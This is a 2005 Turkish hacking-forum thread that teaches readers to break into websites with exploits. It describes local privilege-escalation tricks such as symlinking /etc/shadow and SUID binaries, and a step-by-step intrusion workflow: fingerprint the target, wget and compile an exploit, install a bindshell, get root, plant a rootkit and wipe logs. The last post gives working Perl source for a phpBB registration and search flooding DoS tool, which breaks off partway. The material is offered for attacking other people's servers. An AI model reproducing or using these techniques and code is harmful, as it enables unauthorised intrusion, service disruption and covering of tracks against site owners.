Giriş

Tam Sürümü Görüntüle : Artik Exploİte BaŞlayalim


jackal
09-01-2005, 08:34 AM
Evet arkadaşlar içimizde elbet exploit kullanmayı bilenleriniz vardır ben o kadar bilmesemde benden kat kat fazla bilenleriniz vardır.

Bildiğimiz gibi herkes basit yöntemlerle davsla saldırı programlarıyla siteleri hacklemeye çalışıyolar ve elimize %10 luk bir verim ancak geçiyo bi siteye saldıran kişi siteyi en fazla 15-20 dk yawaşlatıyo daha sonra ne oluyo eskisi haline dönüyo index çakma açığıda kapandı artık yani çoğu sitede yok.

Bunun için ben ilk adımı atmak istedim içimizde exploiti çok az bilenler varsada onlarda farkındalarki günümüzün en iyi hack olayı exploitlerle yapılıyo şimdi.

Exploitlerle sistem üzerinde root yetkisi kazanıyoruz ve siteye istediğimz şekli veriyoruz çoğumuzun linux işletim sistemi olmasada bunu perl programı ile windows ortamında yapmak mümkün. ŞİMDİ sizlere EXPLOİT İLE ilgili bilgiler ve örnek bir video görüntüsü vereceğim.

exploit nedir ve bazı açıklar

Isletim sistemlerinin,çok kullanici ile sistemlerde kullanilmaya baslamasiyla birlikte sistemlerde kullanicilarin yetkisi de sözkonusu olmustur. Kisisel isletim Sistemlerinde (örnegin DOS) sistemi ayni anda tek kullanici kullandigi için bütün dosyalara erisebilir, okuyabilir vs. Ancak ayni anda pek çok kisi tarafindan kullanilan Isletim sistemlerinde sistemin bir yöneticisi olmak zorundadir ki bu Novell'de supervisor, Unix ve clone'larinda root, NT'de administrator olarak adlandirilir. Iste bu çok kullanicili sistemlerde yetkisini artirmak isteyen normal kullanicilar sistemde daha yetkili hale gelebilmek için "exploit" dedigimiz programlar yazmislardir. Exploitler isletim sistemi üzerindeki herhangi bir programin eksikliginden yararlanarak kullaniciyi daha yetkili hale getirmeye yararlar. Exploitler local ve remote olarak ikiye ayrilir. Local exploitler isletim sisteminin bir kullanicisiyken uygulanabilir, remote exploitlerde ise sistemin bir kullanicisi olmaniza gerek yoktur. Sistem açiklari ve bu açiklari kullanmak için yazilmis exploitler günden güne artmakta ve her sistem açigi için patch'ler yazilmakta. Bazi Isletim Sistemleri için örnek exploitler:

"overflow" exploiti (FreeBSD'de lprm açigi):
Pointer artimetigini kullanarak (Pointer degiskenler degiskenin içindeki bilgiyle birlikte bellek adresini de tutarlar) tampon bellege (buffer) bir string kopyalayarak tasma olusturur. Sistemdeki lprm komutunu kullanir. lprm komutu uzaktaki bir yaziciya gönderilen bir isi iptal etmeye yarar. "lprm -P bloggs" komutuyla is iptal edilebilirken kuyruktaki ikinci bir is ayni anda "lprm -P bloggs bloggs" la iptal edilebilir. Bu da buffer owerflow hatasi meydana getirir. Bu sayede "root" erisimi saglanir. Lokal bir exploittir.

Derleyici ve /tmp Hatalari (Solaris'de gcc tempfile açigi):
Gcc derleyicisinin 2.7.2.x ve önceki sürümlerinde /tmp dizinine (geçici islemlerin yürütüldügü dizin. Windows dizini altindaki temp dizini gibi) sembolik link (bir dosyaya ya da dizine ulasabilmek için konan linkler. Windows'taki .lnk dosyalari gibi) olusturulur ve bu linkten yararlanarak lokal root hakki alinir.

Program Hatalari (Linux'daki X11Amp Programi açigi):
X11Amp çalistirildiginda ~./X11amp isminde bir dosya olusturur. Bu hatayi linux'ta söyle kullanabilirsiniz:

mkdir ~/.x11amp

ln -s /etc/shadow ~/.x11amp/ekl

Bu komutlari yazdiktan sonra X11Amp'i çalistirip "ekl" 'yi seçin bütün girisleri seçip silin. Program çakilacak ve /etc/shadow dosyasini alabileceksiniz.

Microsoft'un FrontPage Server Extensions'unda karsilasilan açiklar: Frontpage extensions'un kullanildigi web sitelerinde pek çok açik bulmak mümkün, örnegin Frontpage 98'de dizin erisim haklari iyi düzenlenmedigi için _vti_pvt dizini "WORLD WRITABLE" olarak düzenlenmis. _vti_pvt dizininde ise "service.pwd" dosyasinda sifreler tutulmakta


Exploit Nedir, Nasil Kullanilir (Bölüm II) (Düzenleyen Kaiowas)

Bug Nedir?

Bug ,kisaca bir isletim sistemi üzerinde bazi hatali programlar yüzünden meydana gelen sistem açikligidir. Bu sistem üzerine kopyalanmis bir oyundan,bir mail programindan yada sistem üzerinde ki IRC programindan bile meydana gelebilir. Bu hatalar bizim sistem de r00t seviyesine çikmamizi saglarlar :-)

mount/umount açigindan baslayabiliriz mesela,

Sistemde /bin dizinine gidin ve umount yada mount isminde bir dosya arayin.. Eger bulamadiysaniz su komutu yazabilirsiniz.

find / -name umount -print -xdev

Dosyanin nerde oldugunu buldugunuzda, o dizine gidip dosyanin özelliklerini görmek için su komutu yazin,

ls -al um*

Eger dosyanin sahibi r00t sa ,kesinlikle sistemi kapabiliriz.. Bakalim,

avanak:/bin# ls -al um*

-rwsr-sr-x 1 root 8888 Aug 20 1998 umount

avanak:/bin#

Tamam , artik isler çok çok kolaylasti. Simdi isimiz bir exploit e kaldi. Verecegim exploit sayesinde sistemden takir takir r00t alabileceksiniz :-) Bu exploit i ,sisteme yollayip orada compile etmelisiniz. Bunu yapmak için su komutu yazin.

gcc umount.c -o umount (umount yerine istediginiz ismi yazabilirsiniz)

Gcc komutu sayesinde sistemde umount adinda çalistirilabilir bir dosya yaraticaksiniz..

Not : Eger Exploit çalismazsa,komutun basina ./ takisini koymayi deneyin. Ve ardindan 0 - 8 arasi bir sayi ekleyin.Sunun gibi;

./umount 4

yada

./umount 2

Ve sistem elleriniz de ! Artik hersey size kalmis.r00t un neler yapabilecegini anlatmama gerek yok sanirim,

+-+-+-+-+-+-+

Eger bu yol ise yaramazsa(ki bu beni bayagi sasirtir),simdi anlaticagim yolu denemeniz gerekicek. En sevdigim Exploit bu diyebilirim. Çünkü en kolayi ve de su ana kadar bana hiç sorun yüzü göstermedi. "usr/bin" dizininde splitvt isminde bir dosya arayin.Eger dosya SUID ise yani sahibi r00t ise, olayi bitti sayabiliriz. Bu exploiti sadece "Linux 2-0.3*" sistemlerde kullanabilirsiniz.
Bakalim bu sey nasil çalisiyor?

Dosyayi tabiki ilk olarak sisteme yollayin Ilk önce degisikligi farketmeniz için "whoami" komutu ile kim oldugunuzu ögrenin.Kullanici isminiz ortaya çikicak,

1. Dosyayi "gcc" derleyicisi ile exec(çalistirilabilir) hale getirin, (gcc sp.c sp)

2. Derlediginiz dosyayi çalistirin,

3. "splitvt" adli dosyayi çalistirin,

Isiniz bittikten sonra yine "whoami" komutunu çalistirin.O da ne? r00t da kim yahu? :-)

+-+-+-+-+-+-+
BU da çalismadi diyelim( ki olamaz mümküniyet yok) Tüm Linux dagitimlarinda bulunan bir bug vardir. SendMail bug i, eger buglari takip ediyorsaniz ,kesinlikle duymus olmaniz lazim. Ben uzun süredir bu bug la ilgilenmiyordum. Belki patch i bile çikmistir ..Ama denemek te zarar yok diyorsaniz bu kisa exploit i hemen download edin(sm.sh)

..Sisteme yollayin,

Simdi dosyayi , chmod +x leyin.

chmod +x sm.sh

1 . Dosyayi çalistirin,

2 . Sizi /tmp dizinine göndericek,

3 . "ls -l" yazin,

4 . Orda SUID bir sh dosyayi oldugunu göreceksiniz,

5 . "whoami" yazip r00t olup olmadiginiza bakin, eger degilseniz,

6 . "./sh" yazin, ve simdi r00t oldugunuzu görebiliceksiniz..

+-+-+-++-+-+-+

Biraz Linux u birakip diger sistemlere göz atalim.Simdi dalicagimiz sistem bir SunOS.

UnixBased bir sistem çok az farklilikari var.Mesela SunOS ta "gcc" komutu yerine "cc" komutu kullaniliyor.Fakat bunlara pek ihtiyacimiz yok.Çünkü simdi ki sistem de exploit kullanmiyacagiz.SunOS taki 3-4 tane bug tan bir tanesi "dtappgather" komutunun bir bug i. Ben daha önceden bunu bilmiyordum.Geçenlerde göz attigimiz bir SunOS sistemde SegFault ,sayesinde ögrenmis oldum.Fakat o sistemde çalismadi.Neyse fazla söze gerek yok .Baslayalim,

Sistemde "dtappgather" adinda bir dosya bulunmasi lazim,bu genelde /var/dt de bulunuyor.Dosyayi buldunuzsa

sorun kalmadi.Bu dosya varsa "generic" de vardir.Tamam simdi /var/dt/appconfig dizinine girin.

$ ls -al

total 6

drwxr-xr-x 3 root root 512 Feb 3 14:22 .

drwxr-xr-x 5 root root 512 Jun 22 11:08 ..

drwxr-xr-x 4 root root 512 Jun 22 10:24 appmanager

$

"generic" dosyasi appmanager adli dizinin içinde bulunuyor.Simdi burda yazicagimiz tek bir komut /etc/shadow

dizinindeki unshadowed passwd dosyasini ele geçirmemizi saglayacak.Komut su ;

$ ln -s /etc/shadow /var/dt/appconfig/appmanager/generic-display-0

Bunu yazdiktan sonra elimize passwd dosyasi geçiyor,artik onu bir Passwd Cracker la kirdiktan sonra elimize r00t un sifreside geçer.


Exploit kavramı ve bize gerekli olan araçlar;
Exploit bir hostta veya server üzerinde kurulan sistemin açıklarından faydalanarak root ( en yetkili kişi ) yetkisi almaya yarar.Exploit Türkçe açık demek bu yüzden biraz önce yazdığım cümleyi boşverin herşeyin açığı vardır ve herşeyde exploit kullanabiliriz tek düzelikle düşünmeyin.Fakat şuanda ilgilendiğimiz şey internet sitelerinin alt yapısındaki exploitler olduğu için bu klasik tanım olmak zorunda.
Temelde "ilgili" exploitler 2'ye ayrılır :
a)Local exploitler
b)Remote exploitler
Zaten ingilizceniz varsa ne olduğunu anlamışsınızdır.Local exploitler aynı host veya server üzerindeki accountlardan birinde kurulan exploitin diğer tüm serverda etkin olmasıdır.Mesela x sitesi y host firmasından host almış.Bizde gidip y firmasından bir host alıp x sitesinin kurulu olduğu sisteme göre exploiti kendi hostumuzda çalıştırırsak ve y firmasında bu exploite karşı gerekli patchler yapılmamışsa x sitesinde yukarda yazdığım gibi root yetkisine sahip olabiliriz.Şimdiye kadar hiç yapmadım bunu.Remote exploitler ise asıl anlatacağım ve exploitle web hack yapmada kullanılan en etkin yöntemdir.
Asıl önemli olan yerlere geçmeden önce işimize yarayacak site ve programları sıralayalım;
http://www.packetstormsecurity.org/ : Dünyanın en bilinen exploit arşivi her türlü exploiti burdan temin edebilirsiniz.
http://www.netcraft.com/ : Exploit kuracağınız sitenin alt yapısını öğrenmek için kullanacağımız site.
http://www.activestate.com/Products/ActivePerl/ : Active Perl'in download sitesi,bunu kullanarak perl ile yazılmış exploitleri derliyeceğiz.
Bir adet tamamen size ait olan bir shell hesabı.
Putty programı:shelle bağlanmada kolaylık sağlar.Google da felan aratarak kolaylıkla bulunabilir.
Shellde derleme ve bağlanma için kullanacağımız unix veya linux komutları: (aşağıda bir kısmını yazdım olmayanları döküman içinde bulabilirsiniz)
ls Dizinde bulunan herşeyi listeler.
ls -a Gizli dosylar ve dizinlerle beraber listeler.
ls -l Bütün dosyları boyut ve tarihini göstererek listeler.
tar -zxpf <dosya.tar.gz> Uzantısı tar.gz olan sıkıştırılmış dosyaları açar.
tar -xpf <dosya.tar> Uzantısı .tar olan dosyaları açar.
gunzip <dosya.gz> Uzantısı .gz olan dosları açar.
cp <dosya> Dosyayı kopyalar.
mv <dosya> Bir dosyayı başka bir dizine taşımanızı sağlar yada dosya adını değiştirir.
mkdir <dizin> Yeni bir dizin oluşturmanızı sağlar.
rmdir <dizin> Belirtilen dizini silmenizi sağlar.
rm <dosya> Dosya silmenizi sağlar.
rm -rf <dizin> Dizin silmenizi sağlar.
cd <dizin> Belirtilen dizine geçmenizi sağlar.
cd .. Bir üst dizine geçmenizi sağlar.
cd ~ En üst dizine çıkmanızı sağlar.
pwd O anda bulunduğunuz dizini görüntüler.
pico <dosya> Belirtilen dosyayı text editör ile düzenlemenizi sağlar.
ftp <site> Belirtilen siteye FTP bağlantısı sağlar.
lynx <site> Belirtilen siteyi görüntüler.
df Harddisk istatistiklerini gösterir.
quota Disk kullanımınızı gösterir.
uname İşletim sisteiminin durumunu gösterir.
whoami Kendi bilgilerinizi gösterir.
who Sunucuya bağlı olanları gösterir.
last Hesabınıza yapılan en son bağlantıyı gösterir.
whereis <dosya> Belirtilen dosyanın nerede olduğunu gösterir.
BitchX IRC programını çalıştırır.
mail Postalarınızı kontrol eder.
ps -x Sizin çalıştırdığınız işlemleri gösterir.
ps -a Sunucuda çalıştırılan tüm işlemleri gösterir.
ps -ux Çalıştırılan işlemlerin CPU/RAM kullanımıyla gösterir.
kill <pid> Pid numarası verilen işlemi durdurur.
kill -9 <pid> Pid numarası verilen eggdrop işlemini durdurur.
killall <program> Belirtilen program türündeki tüm işlemleri durdurur.
whatis <komut> Belirtilen komutun açıklamasını verir.
man <komut> Komut hakkında yardım görüntüler
passwd Shell hesabınıza girerken kullandığınız şifreyi değiştirmenizi sağlar.
vhosts yada vhost Sistemde bulunan vhostları (virtual host) listeler.(BNC için kullanabilirsiniz)
-----------------------------
Şimdi pirincin taşlarını ayıkladıktan sonra önemli yere geçebiliriz.
Remote Exploit Kullanımı .C ve .PL Derleme;
Remote exploitler yazımına göre ayrılır genelde işimize yarayanlar .c uzantılı olanlardır.Çok büyük kısmıda bu şekilde yazılmıştır.Exploit yazım olayına inşallah başka bir dökümanda gireriz.Bir siteyi hacklerken bir anda hackliyemezsiniz ön hazırlık gereklidir bunu #1. dökümanı okuyanlar bilir.Herneyse şimdi hackliyeceğimiz sitenin adı "fuzbing.com" olsun. http://www.netcraft.com/ sitesine giriyoruz ( veya bazı program veya gene başka sitelerde aynı işi yapabiliyor ben bu siteyi kullanıyorum ) buradan fuzbing.com sitesini araştırıyoruz elimize hangi sisteme kurulu (linux,nt vs.) ip bilgisi felan gelecek.Bundan sonra http://www.packetstormsecurity.org/ sitesinden sistem bilgisine göre arama yapıyoruz.Birçok şey çıkacaktır bunu engellemek için en kapsamlı aramayı yapın ve sonuçta işimize yarayacak bir exploit dosyası bulduk.Diyelim ilk olarak uzantısı .c olsun.
Bu dosyayı indirip herhangi bir hosta atıyoruz.Diyelim fuzbing.freeservers.com gibi bir siteye attık.Ve elimizde şöyle bir adres geçti: http://fuzbing.freeservers.com/exploit.c
Şimdi önceden SAĞLAM BİR YERDEN ALINMIŞ olan shellimize Putty programıyla bağlanıyoruz.Şimdi fuzbing.freeservers.com a attığımız exploitimizi aşağıdaki komutla shellimize taşıyoruz:

wget http://fuzbing.freeservers.com/exploit.c

Böylece shellimizde derlemeye hazır bir exploitimiz oldu.Şimdi derlemeye geçelim:

gcc -o fuzbinginexploiti exploit.c

Bu exploitimizi derleyerek adını "fuzbinginexploiti" haline çevirdi.Şimdi bu exploiti çalıştırmaya geldi sıra:

./fuzbinginexploiti

yazarak exploitimizi aktif hale getiriyoruz.Bundan sonrası ise ipden veya direk site isminden siteyi hacklemeye geliyor:

./fuzbinginexploiti -h http://www.fuzbing.com/ : Bu direk site adını kullanır veya diyelim fuzbing.com un ipisi 207.46.250.119 gibi birşey olsun bunun için:
./fuzbinginexploiti -i 207.46.250.119

Bu şekilde fuzbing.com adlı siteye eğer patchleri yoksa kullandığı sistemin exploiti ile root yetkisi kazanmış olduk bundan sonrası ise o exploitin özelliklerine kalıyor zaten derledikten sonra gerekli bilgi gelecektir.

Şimdi diyelim fuzbing.com da olabilecek exploitleri araştırdığımızda .c uzantılı bir exploit yerine .pl uzantılı bir exploit bulduk.Bunun derlenmesi için Active Perl e ihtiyacımız var http://www.activestate.com/Products/ActivePerl/ burdan temin edebilirsiniz.
Download tan sonra c:\perl gibi bir klasör oluşmuştur.Çektiğimiz exploiti buranın içine atıyoruz ve MS-DOS u açıyoruz ve c:\perl klasörüne geliyoruz.Daha sonra aşağıdaki komutla gene .c derlemesi yaptığımız gibi exploiti fuzbing.com da çalıştırıyoruz ve gene root yetkisine sahip oluyoruz.

perl exploit.pl -h http://www.fuzbing.com/
-----------------------------
Bunları uygulamak için en azından biraz programlama linux ve unix bilginiz olması lazım.Zaten linuxun temeli unixe dayanır komutları aynıdır bu yüzden eğer pcinizde linux kuruluysa shell e gerek duymadan .c exploitinizi pcinizden kullanabilirsiniz.

Sorusu ve eklemek istediği birşey olan varsa buyursun...
ALINTIDIR

jackal
09-01-2005, 08:34 AM
Üzerine kurulu daemon ların açığını kullanarak yada local attack lar düzenleyerek sistemi sahiplenebiliriz.. Bu olayları gerçekleştirirken biz Sistem açıklarını kullanmamızı sağlayan minik progragr*****lar olan Exploit leri kullanırız..

Exploit Nedir: Exploitler genel olarak .c ve .pl uzantılı dosyalardır içinde kodlar vardır.. .c uzantılı olan dosyalar C dili ile yazılmış kaynak kodları içerir .pl olanlarda perl dili ile yazılmış kodları içerir.. Bunlar haricinde assembly dili ile yazılmış olanlarda vardır..
Şimdi bu exploitleri yazan şhısların C dilini yalamış yutmuş sistemleri gözü kapalı anlatabilecek seviyede olan hacker lar ın yazdığınıda söylemek isterim.. Exploitler attack türüne göre 2 ye ayrılır..
1- Local Attack..
2- Remote Attack..

Yüzeysel olarak anlatmak gerekirse Local attack uygularken sen olduğun makinadaki kısıtlı yetkini aşıp root olmak için uğraşırsın.. Bunun için local root exploitler kullanılır.. Tabi burda genel konuşuyorum başka amaçlar içinde local Exploitler kullanılabiliyor.. Remote Attacklar ise Alakan olmayan bir makina örneğin bir web server burda senin account un yok bu makinaya local bir attack düzenleyemezsin.. Bunun için remote türü attacklar la remote exploitler kullanılabilir.. Bu remote Exploitlerin bir kısmı seni makineye düşürür sonrasında local root türü bir exploitle root yetkisine geçersin.. Bi kısmıda Remote Root tur içeri düştüğün zaman id kısmında Root yazar.. Kısaca mantık budur.. Exploitler kaynak kod halinde olduğu için bunlar Compile (derlemek) edilmelidir.. Bunun için windows altında çalışan compiler lar mevcut olsada.. Exploitler in geneli Linux makinede Compile edilmek üzere tasarlanır.. Yani o şekil yazılır.. windows altında compile etmek isteyince .h library hatası verecektir.. Linux makinedeki "gcc" Compileri bu iş için çok uygundur.. Exploitleri compile etmek için 1 kaç seçenek doğuyor.. 1 Shell hesabı alarak oradaki gcc compilerini kullanabilirsiniz.. Yada kendi bilgisayarınız herhangi bir Linux dağıtımını yükleyebilir komut satırını shell olarak kullanabilirsiniz.. Tavsiyem shell dir.. Hem komut tabanlı kullanılıyor hemde bağlantı hızı oldukça iyidir.. Shell kvramını bilmeyenler için açıklamak istiyorum..

Shell Nedir : Shell Linux işletim sistemi kullanan bir makineden size verilen kısıtlı yetkilere sahip olduğunuz alan dır.. Bi yerdir yani.. Bu alana putty programı aracılığı ile bağlanılabilir.. Kullanılan port ve protokol ; SSH protokolu ve 22. Porttur.. SSH güvenlidir.. telnet gibi değildir yani.. Bu Shell hesabına ircd kurulabildiği gibi exploit compile olaylarıda yapılabiliyor.. Bu kısım anlaşılmıştır umarım.. birazda putty progr***** değinelim..

Putty Nedir : Putty Telnet/SSH Clientidir.. Bu programla telnet ve SSH sunucularına rahatlıkla bağlanabilir komutları program üzerinden girebilirsiniz... Kullanımı oldukça basittir..Download bölümünde putty programı mevcuttur.. Şimdi putty i download ettikten sonra... programı çalıştırın... "Host Name ( or IP adress)" yazan kutucuğa shell inizin ip sini yazacaksınız... Hemen o kutucuğun altında "Protocol" seçenekleri var bağlanmak istediğiniz sistemin protokolune göre ordan birini seçeceksiniz SSH sunucusuna bağlanıorsanız "SSH" yi telnet sunucusuna bağlanıorsanız "Telnet" i seçeceksiniz.. Bizim bağlanacağımız sistem linux olduğuna göre ve bu sistem SSH protololu kullandığı için "SSH" yi seçiyoruz.. "SSH" yi seçtikten sonra sağ alttaki "open" botonuna basın... Önünüze siyah bir ekran çıkacaktır buraya Shell username inizi yazın enterlayın.. Pass inizi isteyecek onuda yazıp enterlayın... Shelle bağlanmış olacaksınız... Şimdi Linux makinaya bağlanmış olduğumuza göre bi kaç linux komutundan bahsedeyim...
ls : olduğunuz dizindeki dosyaları listeler.. (örnek: ls )
rm -rf dosyaadi : belirttiğiniz dosyayı siler.. (örnek: rm -rf apache.c)
wget : Dosya çekmeye yarar... (örnek: wget http://xxxx.com/Apache_1.3.x.c)
gcc -o : C dilinde yazılmış programları derleme komutudur... Biz genellikle bunu exploit kodlarını derlemek için kullanacağız (örnek: gcc -o Apache Apache_1.3.x.c)
./ : Çalıştırma komutudur.. (örnek: ./Apache)

Exploit Compile Nasıl yapılır : Şimdi Shell imiz var ve putty programı ile shell imize bağlandığımızı var syarak anlatıyorum... Öncelikle kullanacağımız 3-5 temel komutumuz var.. bunları örneklerle açıklayacağız..

"wget http://xxx.com/Gtkftp_v1.0.4.c" Bu komutla http://xxx.com/Ftkftp_v1.0.4.c isimli dosyayı çekioruz yani wget komutu dosya çekmeye yarıor....
"gcc -o Gtkftp Gtkftp_v1.0.4.c" Bu komutla Gtkftp_v1.0.4.c isimli exploiti derliyoruz... ama derlenmiş olan exploiti Gtkftp adında kaydediyoruz... Bu komutla bu dediklerim oluyo...
"./Gtkftp" Komutu ile bu exploitle birlikte kullanabileceğim parametreleri gördüm... Yani exploiti çalıştırmayı denedim ama yetersiz parametre kullandığım için bana açıklama verdi kullanabileceğim parametrelerin bi listesini verdi....
"./Gtkftp -h www.yyyyy.com" Komutu ile www.yyyyy.com sitesi üzerine bu exploiti çalıştırmayı denedim ama verdiği uyarıda www.yyyyy.com sitesi "<- 220 ProFTPD 1.2.7 Server (ProFTPD) [OEI.guncelturk.net]
[!] error: this exploit is only for GtkFTPd, failed.
" proFTPD kullanıor ve bu exploit sadece Gtk ftp kullanan host larda çalışır dio...
Exloit compile etme ve çalıştırma olayıda açıklığa kavştu Şimdi bir sisteme nasıl girilir onu görelim..

Exploit Kullanarak Sisteme girmek :

Şimdi en can alıcı noktaya geldik... Yukarda örnekle gösterdiklerimi şimdi uygulamaya dökeceğim... Bunun için öncelikle bir hedef belirlemem gerekiyor... www.XXXXXX.com serverlarına gireceğim.. işlem sırasına gelince..
1- www.netcraft.com sitesinden server infosunu almak.. yada sitemizde werdiğimiz scan_projecti kullanarak httpd server infosuna bakmak..
2- Gerekli exploiti temin etmek...
3- Shell ’e login olup gerekli exploiti shell e çekmek ve kullanmak...
4- Servera bindshell kurmak...(bunu loglara kayitlanmamak için yapiyoruz ve ayrıca shelin kapatilmasi söz konusu olabilir..
5- Serverda root olmak...
6- Rookit kurmak (binshelle idare ederim diyorsanız gerek yok)
6- Loglari silmek
İşlemleri sırasıyla yapıyorum...

1- Server infosunu aldım.. Kullanılan server bilgileri şöyle;
The site www.XXXXXX.com is running Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6 PHP/4.0.4pl1 mod_perl/1.24_01 on Linux.
2- 7350 fun Exploit i ile bu servera girebilirim...
3- Shell e login oldum... Exploiti çektim çalıştırdım...
4- HPbindshell i kurdum...
5- ptrace-kmod exploiti ile serverda root oldum...

7350 exploiti kaynak kod halinde deil derlenmiş halde dağıtılıyor ayrıca eski bir exploittir...

7350 yi hebele olarak shell e kaydettim... Kulandığım komuta gelince... Exploit brute force yöntemi ile çalışıor... Ben brute force un etkili olduu kısmı direkt yazarak kısa yoldan sisteme girdim.. Screenshot un sonunda yazan yazılar gelince bi süre bekledikten sonra shell e düşürecektir..Sonraki işlemler... Aslında istesek bu şekilde shell kullanarak oraya girebiliriz... Ama bi süre sonra Read Error verip bizi düşürecektir...O yüzden bindshell türü bir program kurarak bu sorunu hallederiz... Ama öncelikle yazma iznimizin olduğu bir klasöre girelim genel olarak /tmp/ dizininie yazma iznimiz vardır bazı sistem yöneticileri bunuda kaldırıyor ama nadir olan bi olay.. Tmp dizinine geçmek için "cd /tmp" komutunu uygulayın...

Bind Shell kurulumu : Şimdi sisteme bindshell denilen bi çeşit trojan niteliği taşıyan bir program kurmak gerekecek.. amacı sistemdeki belirli bir portu bindshell olarak açması ve buraya bağlanmayı sağlamasıdır.. Exploitle içeri düşünce bi nevi shell hesabımız oluyor o makinada.. ama anonymous bir shell.. id mizde nobOdy yada farklı bişey yazar.. Normal de Shell hesabı olanların /home/ dizini altında bir klasörü olur.. Gerçi klasör olayı root a bağlıdır ama geneli böyledir.. bu Anonymous girişte bu dizin altında klasörümüz olmaz.. bindshell kuruyoruz çünki her zaman exploiti kullanıp sisteme remote attack düzenlemek zorunda kalmayalım diye.. Her zaman Exploitin sonuç vereceği kesin değildir açık patch lenmiş olabilir.. ve Exploitlerin kısa sürede sonuç vereceğide kesin değildir.. Neyse bindshell kurulumunun anlatılacak bi tarafı yok ./bindshel deyip kurulur.. Sonrasında sistem hakkında biraz bilgi alarak siste! min nasıl rootlanacağına bakılır.. "uname -r" Komutu ile kernel in sürümü öğrenilip buna göre local root exploit uygulanabilir yada "ps x" gibi komutlarlada çalışan uygulama ve programlara görede bakılabilir.. Burada biraz Linux bilgisi ister... Şimdi şu kısıma dikkat edin.. Öncelikle bir remote attack düzenledik sisteme girdik.. Şimdi ise bir local attack düzenleyip root olmaya çalıştık.. işlem sırası o şekilde ilerliyor.. Önce sisteme girmek gerekir sonra local bir attackla sisteme sahip olamk gerekir... Sistemde bir hesabınız olursa remote attack kısmını eleyip local attack yöntemlerine bakarsınız olay bu... Sistemdeki Şifreleri almak için "cat /etc/shadow" komutunu uygulayıp /etc/ dizini altındaki "shadow" isimli dosyanın içeriği ekrana basabilir shadow pass leri alabilirsiniz.. ama sistemde root olduktan sonra ne gereği varki zaten sistemdeki istediğiniz her dosyaya her siteye erişim sağlarsınız.. Root olduktan sonra sisteme bir rootkit kurarak gizli giriş çıkış yapabilirsiniz..


(alıntı yapılarak derlenmiştir.......

www.izgiweb.com/exp.zip www.izgiweb.com/List Path.zip linklerinden exp alabilirsiniz arkası gelicek ) bu arada mutlaka www.phlak.org adresinden lv çalışan linux sürümünü indirip kullanmayı öğrenin SAYGILAR

jackal
09-01-2005, 08:34 AM
phpBB 2.0.15 Dos ExPloiT

Kullanımı:

1.)Pc nize ActivePerl i kuruyorsunuz..

2.)Aşağıda verdiğim kodu NotDefterine Copy Paste yapıyorsunuz.

3.)Daha sonra bu txt dosyasının uzantısını pl yapıyorsunuz[Çünkü Perl de kullanacağız]

4.)Bu pl uzantılı dosyayı PC nizin C: dizinine kurduğunuz Perl Klasörünün içine koyuyoruz .

5.)Bu pl uzantılı dosyayı çalıştırdığınızda zaten kullanımı Türkçe olduğundan verilen adımlar takip ederek hedef siteye DOS saldırısı yapabilirsiniz.


kod:

#!/usr/bin/perl
## Name: NsT-phpBBDoS (Perl Version)

use IO::Socket;

## Initialized X
$x = 0;

## Flood Variables Provided By User
print q(


);
print q(Site adresi |dikkat - basina http://www yazmayin| );
$host = <STDIN>;
chop ($host);

print q(Forum yolu |Ornek. /phpBB2/ | );
$pth = <STDIN>;
chop ($pth);

print q(Flood Metodu |1 = Kayit, 2 = Arama| );
$type = <STDIN>;
chop ($type);

## If Type Is Equals To 1 or Registration
if($type == 1){

## User Loop for 9999 loops (enough for Flood xDDDD)
while($x != 9999)
{

## Building User in base X
$uname = "username=NsT__" . "$x";

## Building User Mail in base X
$umail = "&email=NsT__" . "$x";

## Final String to Send
$postit = "$uname"."$umail"."%40neosecurityteam.net&new_password=0123456&password_confirm=0123456&icq=&aim=N%2FA&msn=&yim=&website=&**********&occupation=&interests=&signature=&viewemail=0&hideonline=0¬ifyreply=0¬ifypm=1&popup_pm=1&attachsig=1&allowbbcode=1&allowhtml=0&allowsmilies=1&language=english&style=2&timezone=0&dateformat=D+M+d%2C+Y+g%3Ai+a&mode=register&agreed=true&coppa=0&submit=Submit";

## Posit Length
$lrg = length $postit;

## Connect Socket with Variables Provided By User
my $sock = new IO::Socket::INET (
PeerAddr => "$host",
PeerPort => "80",
Proto => "tcp",
);
die "\nistediginiz adrese baglanilamiyor ya yazlislik var ya da saldiri basarili: $!\n" unless $sock;

## Sending Truth Socket The HTTP Commands For Register a User in phpBB Forums
print $sock "POST $pth"."profile.php HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\n";
print $sock "Referer: $host\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Accept-Encoding: gzip, deflate\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\n";
print $sock "Connection: Keep-Alive\n";
print $sock "Cache-Control: no-cache\n";
print $sock "Content-Length: $lrg\n\n";
print $sock "$postit\n";
close($sock);

## Print a "." for every loop
syswrite STDOUT, ".";

## Increment X in One for every Loop
$x++;
}

## If Type Is Equals To 2 or Search
}
elsif ($type == 2){

## User Search Loop for 9999 loops (enough for Flood xDDDD)
while($x != 9999)
{
## Final Search String to Send
$postit = "search_keywords=Neo+Security+Team+Proof+of+Concept +$x+&search_terms=any&search_author=&search_forum=-1&search_time=0&search_fields=msgonly&search_cat=-1&sort_by=0&sort_dir=ASC&show_results=posts&return_chars=200";

## Posit Length
$lrg = length $postit;

## Connect Socket with Variables Provided By User
my $sock = new IO::Socket::INET (
PeerAddr => "$host",
PeerPort => "80",
Proto => "tcp",
);
die "\nistediginiz adrese baglanilamiyor ya yazlislik var ya da saldiri basarili: $!\n" unless $sock;

## Sending Truth Socket The HTTP Commands For Send A BD Search Into phpBB Forums
print $sock "POST $pth"."search.php?mode=results HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n";
print $sock "Referer: $host\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Accept-Encoding: gzip, deflate\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\n";
print $sock "Connection: Keep-Alive\n";
print $sock "Cache-Control: no-cache\n";
print $sock "Content-Length: $lrg\n\n";
print $sock "$postit\n";
